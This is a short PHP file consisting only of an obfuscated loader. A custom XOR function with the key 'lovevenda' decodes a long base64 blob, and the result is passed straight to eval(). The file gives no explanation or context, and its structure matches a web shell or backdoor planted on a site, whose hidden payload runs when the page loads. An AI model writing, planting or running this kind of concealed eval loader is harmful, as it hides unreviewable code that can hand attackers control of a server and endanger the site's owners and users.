function b($input, $key) {

    $inputLen = strlen($input);
    $keyLen = strlen($key);

    if ($inputLen <= $keyLen) {
        return $input ^ $key;
    }

    for ($i = 0; $i < $inputLen; ++$i) {
        $input[$i] = $input[$i] ^ $key[$i % $keyLen];
    }
    return $input;
}
$key = "lovevenda";
$data = "SB0ZCgJYSjsyKT0gICQ+SSAuLzo7IDgxMTYuIztROE0lDQwFBR1eQQQKARBIV2J8QR4RGhRcRAYFFhMRRkA+PyokMzM3NUYpODsmNlQ4R0RHSk9SOiUgPDIkPjRULSIxPjdDMU9LWFZHAQpDRU9JRVENGhARH0hWX1ZCBhAVHEhNaHxBBgsSGE9LRVI6PSEzOiokPlQtOjAxMyc5NiJHM19sZmJ8AhoKDAUNTEsEChkRQkAJGBsGSVINARcVQEsSChsEBwpNSAcCSVICAQ4LV2J8bFlKTg0HRAkfCRM6CxwIHxsFTVQSHkkCAwEQDBFLHgwRTkZfHntvZ0tOTGYXARIQHQETREZNaHxsQUtBEWZ7b38DB1VJSB0ZCgJMVWlrZUsQFURFU0QhCh9ETVIXAQsVRVR7b39BDQsUAhtWWFYGAREPGEdSAwZXR19sZmZSHR8ECgUPMxoECUtHMgpDV2J8bBAKHExFBVJGXlIMUlVaSAZdTl8eY25oZQMfFgJNSgkSCQxaRVIWCwdITFJWAA4VAgsFCUdRRVFJTgkIDx0ZER8IC0xIRVR7b39sShYAAgtWWFZBAxcED0VHVUZVXlRRXF9NaHxsZ0AHHDAEBBhFU0RFCh9EPlIXDwoFSUsVCgMLGjlaYWV/bFIXDwoFAhobRUtFHAUPCDAXBxVNAxA+Hg4YAV5UQkRQWUZfXntvZ21FCAYEFRcRBkRcTAsfFykVDxAJREsQFSkXDwpIV2J8bH9BCBRTMw4EF1ZYTgEZHAMZARNNTEtDQEsSDAQVDxAJRVR7b39sSh5QTFJWJRMIHhAYREsQFURMUUATAwACS1RKTEpFHg4YARgQA15FCh8pFxcLVWlrZWZSH0VYSh5QQk1ZBBQKGxBPHAcGR01oZG1oSBUXWFIfX0pDQw4UCgMRQDQpPE1NaHxsZ0AbWFIFEQQ6HAERAA4VAF5BHAsOGEFUSlRJTkZDQE9SH0VMVWlrZWZSH0NQX1kSGB0pFxMVAgUCCUdSFxkKGkpDQ01aRVRHQkRFFg5fXntvZ20ICkdSDFZYU0RRRRR7b39sZ0AbXl1WWFYCCxBJTgcCEQYWVEtOCwMZEVgMAUsSAgYGFRMRHUsGVAAQDUUNXQADQx0XElkEAgIAHA4FSwYNHkZIV2J8bH9sShwFMwAdRUtFLgIWHgYCAF4DARQEAkdSH0VJTkYWTkZaRVIfXFZIU01HR0xHXkZaYWV/bH9BFgA+AwRWWFYlCBMTBRsTTRAKHgEPREsMBFpFTBNDRUNWQQxXXE1eTl5UX1RVTF9sZmZ/GBMJHQEICkdSDFZYU0RQRRR7b3tvZ21oSBVEVlZYTgMEGEdUDQIRHhdbQ0ARCRkRQA0OQxwYDAYVCxASQwhOChANXQxSCA1ZFxcSQQUNCg4GBAVLHgwRTkZNaHxsZ21FFAspCh1FU0QhChgEDAIARgIOHAoYTVIfD0hBThhUTFpFSh5TX0ZJR0dHVEZRTlR7b39sEwENHwofA15BB0RcUU9ETA1oZG1oZUsMV0JFU0QGCRteRx4RGhQSVkBZAhoKGkoIA0AFCx8VHgEVH0ARXRkDBlcJXwsUSgQEGUsAAAkXFRcWQBQJHE1fXntvZ21oSBcSOhkOTllBLAkBFx8RC0wHAx8TC15BFFdNTE0BR19JTkAbXltfWlRUTF5DXE1NaHxsZxkEABwTDBBNSg1BUVJWVl8eY25oZWZSH0RQTllBCwoCTVQNGhARH1VZShEJARBPBQBZFhgMHhQEGBxZAk4KCAxSBFwSB1kXDxNODQMQBAYEHUoRBB9UTE1oZG1oZUsOASkKBURcTC8QEgQMGgFJCgAGABhNSh5SQE9UElRMQkRFFl1DTElHX0ZbTl9UXntvZ20cCQMFAA1oZG1oZUsMV0VFU0QGCRteRx4RGhQSVkBZAhoKGkoIA0AFCx8VHgEVH0ARXRkDBlcJXwsUSgQEGUsAAAkXFRcWQBQJHE1fXntvZ21oSBcSOhkOTllBLAkBFx8RC0wHAx8TC15BFFdNTE0BR19JTkAbXlxfWlRUTF5DXE1NaHxsZxlsZmZ/ERkQDQxJSBVFSVYWGhYVAxsfCBNNHAUPCEdEVUdQQkRTXF5OTFhHQ0ZPHg4YAV5WQkRQXkZYR1tHQBYAAgteVFpFXVRIQk1WR1gBDxAERE0+Xx9fHUZIRUZNaHxsZxAOGQweTVIfD0hBHxsEERkRBwkERB0XCxJNXFRQWUNWV0ZUVk1PTkJUSwQEAABJX0NWVERMQEZMTkEEBBgBRlVNTFxGTFhHTkZPCA4CAF5HJl4IVhxUTF9MVWlrZWZSDQJFU0RFFl5YR1lLBhAADwwTFgVHVWlrZWY2Bh4IAQBJSAcCSVZVWVFURVQ2EBgJBwoKREseEV9eLgIWHgYCAF4DARQEAkdSDQJJTBNDRUMUBAUAWFA+CAoVChIARkYxKTUGBzEzFDA2Kl8vVxECJw1VHTc1URk1XA9XDygeVRQyFlwCKwcBAzAnJzEiBwQ/D0IuOlcrBzUuLBE0ORwSDlwVFiQiOBEEPR80BzEdGAAYLgIVCE8RJyMnHw03Ck4pXj4RDiggHyIyKFQ4XghdR19MVWlrZWYCCgMGBkxFBBtaRQURHBAOGAYbAF4XDwoFRF1GVENJTlZRXVdfS1RITEoTDQESTUVJTlVTRUFUSFRLHAUPCEdHSVZWXk1PTk9USxIEGgFJTidMDEwWTE1IRVR7b39sShwFMxoECVZYTkAJGBsGS1RfQUtDQkseCgURQEZOTlR7b39sShwIDQsXCykQHAhBQlJWQQ4BMRETAEFSH0JLTDgVTkFSHRI6GxYNQksMUENUQEY9GE1NaHxsZ2lrZRJ7b3tvY24HGQEVER8KAEQHBV5eQQYEGgxIF2J8aHxsSgUTHA4CDU5FU0QAHh0XHF5MVWlrZQgaChQEAkRFDR0GBAINVl9sZmYfA1ZNSgwAAgsaAFZYTgsRCQESDARNShQAGAdfTFYeY25oZRgeDBoATkxJSAkfCRNFU0QTCQ4SAR8XRkAJDQESCRNMR0RAUVJWAxcJHQFITBR7b39sZw0HTEdSAx8JC0RAUU9US1RFSEJBSAkfCRNFT1lBTkFYR1ZDSERFCgYaAFZEU0RGHgAZEVFFSEJBTRwCFwURHExFCgYaAFpFTBERAAAXAVRMTkJHTE4FEQQWGhZJSAkfCRNJTkYgICk3OjIkOiVDRU9QQ1ZEHRATHxsETVIDBwgEQE9UIxkdTE1BSklWRAURHBcVHkdSAx8JC0hBTh8eFVRMTkJHTBwCFxoAAExFCgYaAF9ZXVRBSklWRAURHBcVHkdSAx8JC0hBTkFUTFZDSERAHxsEFgIXRkAHBQMTSVZHGQENAEIdCxkSAEZIRU8NaHxsZ21oBQlWTR8WMQAIHkdSFRcRBkpDQ01YQRAMAgFITElQRVcMHTsNBQEdTVIVDxAJQkhZQlhBCA0NCUZfRQ1oZG1oZWZ/DBBNTwIIAAopAA4MHRASREsGBAINQEZOTkFSAx8JC0pDQw4UCgMRQBQJHE1fTA1oZG1oZWZ/bFIEHBQAGAdOPitFU0RFHA4CDVhHQUZPSAkfCRNeY25oZWZ/bAtoZG1oZWZ/Ax9URkARDRseS1RKTEpFCgYaAF9eY25oZWZ/GHtvZ21oEWJ8bH8YY25oEWJ8GHtvY24HGQEVER8KAEQHHF1eQQQKARBIF2J8RVZFTgMNAw0XCVZBHAsOGFR7b39BHjsAHh1WWFYEHBYAFUdfXntvZ0ARAgoBOhcXHERcTA4EFxccRk1aYWV/AhoKDAUNTEsXFwYEGgxZV2J8bBAKHAEADwdWTVIEHBQAGAdORVYEHURFB09WWEhFTkAXRU8NaHxsZ0AQGR8XER5FU0QSGB0pFxMVAgUCCUdSFxkKGkhBTk1aRVITR19sZmZ/QQY6DxYTN0sdOFZYTgEZHAMZARNNTEtDQE9SFAMVDxAJRVR7b39sBwJBRAwZEBgRRkARMw4EFy1BBTlIUlJFTFYeY25oZWZSFRgAGTsAHh0tOFZYTkAXV2J8bH8YY25oEWJ8bAQAGhETAk9SFRgAGTsAHh1NaHwYY25sZgkDCxURBwsPTB0XCxI6DwYCREsaABgCGgxIF2J8bFIWGhZBUU9UBBQGCgEHCwcfDx0JAwoOHB4EFgIQGBMZFRU3JzUhKyImJCY8LjooICsxPT0lMSMzOTw4Nk1NaHxsShcVHgMTC1ZYTlFTV2J8bAENBwgETEdSCRMLCRAJTFFWQQURHAgEAkZWHntvZ21FHxsERVhYTkASGB1NaHxsZ0ASGB0aABhFRVlBWV1NaHxsE2lrZUsFEQRFU0QSGB0pFh4QCAINCUdSFgIXR19sZmYEAAIQHApBHxoUFgIXRkASGB1aRUZJTkANCQERER5MVWlrEWJ8aHwDGwoCGAYZC1YBBxY+HA4CDV5BHgUVBEYNaHxsShQAGAdWWFYWGhY+HgoGCRcGC0wCBB1eXERMQAcJHkdPV19JTkZOTkNWQQYEGgxIV2J8bB8DTkwSGQ0FEQRNShQAGAdaRVtUR0RAUU9USlRMTkARDRseRUtFShQAGAdNaHxsHAEVGR0YRVIVDxAJV2J8GHtvY24HGQEVER8KAEQGCRteQQMXAk0aTGJ8bFIGAQoVCQECFlZYTiQHBQMTOhEAGjsCAwECABgRHUxFGR0aTE1oZG0ICk9eRFIGAQoVCQECFl9FFWlrZWZSBh5FU0QCGR0aOh8LBxBJRVR7b39sDRETADAFAAIKHhBJSAweSVYmOzYtIz8iOiM3IkhBSBoECV9eY25oZQwDFxo6HQEVAx8CTVIGBkhBLzokKTk1OjszKTsjNzgxPCUvPykzN1pUR19sZmZ/QRUKABAEAhsFRUtFDRETADATHRMGRkACBEZNaHxsZwcUHgMpBhoKHQFJSAweTE1oZG0cTGJ8bAQAGhETAk9SBhkLGgEPGBxNaHwYY25sZksCEBwQDwoMDQYaRUtFSQgOCwgTFwUNCwgNWFtFJREIDw0NQgwZCFFeY25FFDAGBAINTllBTgcCEQZfQUtDTEFWQSk2KzY3KT0tQiUgPDIkPjA4JDsgSTlBQk9SOiUgPDIkPjRRNzM0OyEyODAjNz9CM19sZksFDBsAAwEMCQITCBMOCw8KB15WWFZBHQ0MCQITCBMICwkEBwodDh1eY25FHAoFBBg6DwgEHhtWWFZHIgsGCwoSRSUNCwgNTEsOOgYEGgxBNQ4YH1Y1DxcSGwAEAVZNShcIAQobABsAAwEMCQQTDh0OX01BPx8XEhgACjcJCQMaRVIdBwUFDQEpEAQJTk4oPE83ARIXCxcSTFVWPlZHTkpBSDAlICQzKzY6Sz0zKDkxKzsgKCskQitFQERDTDJUXntvShQAGBsTFxhFU0RDQ0cXCRAEAAEWQh8eFQoEAgIAAgoBVFg1JjQdDQMQBFsXCxxPHAcGGRcJCAVMBQAODFgVBhQdDQMQBA4KHEoRBB8KBBoDDwoEGwNYFR4VEgUNCg4YAAEJX0oxJD8KBBoDD0kIAxcfVFg1JjRIQ01NaHwMCERJHB0TAikIDxACBEdSFRcRGgETAkNWQQ46HgUVBEZfHntvTkRBTAIXDBpNShAUBhoXCxsEBwhNTE06ChECCwBBPwcTCRpFIgsKDQNUSVZBHgESDQEpBBoAHBBNTE0tRVRFQERFMzwzNyAgPD9GPio7KiIgMSUlKD1ROFZLTkZBMU1fXntvEwENHwoNaHxFTkRBAQ4fCV5BGhELGQ4YCBcMAkhBTiMZAhEACkQyBAoaCVY8DwobTkNWQQYAHQUPMw4aAAQRQkRDN09URVhFSjsyKT0gICQ+STYkISAiICkkKiAzSzJWS1ZHTjlDRVR7bwte";
$decoded = b(base64_decode($data),$key);
eval ($decoded);